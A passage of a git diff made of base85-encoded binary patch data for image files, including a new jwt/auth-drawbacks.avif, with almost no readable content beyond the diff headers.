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%0A7`~_ZbwT6n?&9)(R;CLd6Q!eg zF4ukDcL$S%P6cQm>r|bF(SsI*Jz@D+Lh1nF6(~!Xo{n?weINa}D=5dY%HyJbElVOgW^dyiT3y@??x$m#Hr za9VwiqW@DNXtkcfS1VND^&x=}O-xG(T%QjhD#r;B13w$~9j6STM>2h%Ks{w8&Cfbd z|MW*Z^b`S08BvKX^O=TIbi;iHW66bE7&?*-um;aXr;@)bkk=B5ZCnxe#xFt!{`^|(VB z31FP+6T5Capjj=fE%ei8K9}mi7|IhJi6-@wGOG7VFEw4m1*uR-@1#XWx;$K}ia0V* z)UXEw&!-K4mh|BMSx;61H&|0r`glmLQsaf>?<8KwC>DaD=WCFU{iQht)M=c<;i1R` zxW@>)wQ-b?@GS8d0lY|#yz!lNQ(yB~8mx-8T)zDOt;KI+M2<)%vgBX0IPh#TlbjL8 z<1{UBc^TxIZ9uHb17W*8C{E+y_PjsV)|u_&pOM`@_>YvB!Q+CVUc-CP1>%oCrC1O= z0=%t0!4~o0R>YTmxvW?FD5rWyXkP)b5Kixvfg-WD)gTS-d=J75lsIFtAuYi=BWR8D zK`lXIh|3j@+semt7^mvs1H7F8Rw7jBG2XD+~sg?01|Xm17DAPr-CHxQ3iDEbS!U9o^1FO z6a<_BB17p*UtlDqDhJN@HfNs*ZL~pDZqa5YF(ponXjl zxn0=5OdL;a*>Ib7B!$_H5w3)C(`qVx8XCq(>od`hH{Vp(C)b3HJC#~P?LK3C3A8cK zTz0wWcphsnanPmhdOo2Pa(>LVv@c+Zb5O3NR{w@~j?rXSxOb&D{*GK1H9;FJF%@)l z;5r_W@^xGKf3;ZEq`$#EcM>?NbVrWe@8Pg(HJPi0h(_@MUbbG z1%Cx8oG(@COrTrq!YyQLz6Z)S$Mv#Chs9S-KP;{@cMSPM>9wHc3PYhkYmJnvOT5gB zUJ*$*cGQ1-xpDX^$a}**;PurEZA-SZuQnW6l%QhDAytGM%vp)E<9o%tnD1qn>UXEl z!Ak^M3M?p4G4Ok;pTGo{mgVwX-1;oDkO)s-WYjCN&p?yrpp5Xlo~PwdFRAo`!B?-8C=f;aHWQ0rGPQO*TYnsZD5{E>{yMRZgq-bm9B zRPw-?G~4m`C7FV?)*qTOTL~Y6;k(rnzFGXjHV)qE97X~<2Hoje^Wt`iL@nn!ZPI||! z$d1dt5HWyi>kgvoL>rq@SN~|$i~R>quR`L<=LqzcHhL1rT*KMiW8c_BCi|>J)+O6K zuuu(@)Ml*B={@{5HyTyI3F-YcTa+q5Q4X*orLhp?g-No|Y?>>((Phx%^O@u}M_-X? zSUw{Sdx-r{mk|+=)0(f@_*fu@%fUGfl2jd+qGE*(`{{pIUmE=9{3L(-QY<*1s3tQ& z=F5-p0CCbR?0&tv}|e~Z6TaAuX1hC0=5O(2Q#YX)Yk$r0{f40Z{j z!R%pl{Zb%14VACR3hrpr2I0mYO-gq4=}=MjJ>FPdF3l}U7>g0Es>~FajmbedsyVFM zU=dL|2>cbvnEO_VUX{whWUy|PJG?WD^-EP;899S_itzFKR7ru%EnAGqItpBTC91AZ zaLP6J

                      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 literal 0 HcmV?d00001 diff --git a/jwt/auth-drawbacks.avif b/jwt/auth-drawbacks.avif new file mode 100644 index 0000000000000000000000000000000000000000..1a516a683bd9aaec19d4cf10ef29220b9e6a69a0 GIT binary patch literal 108443 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 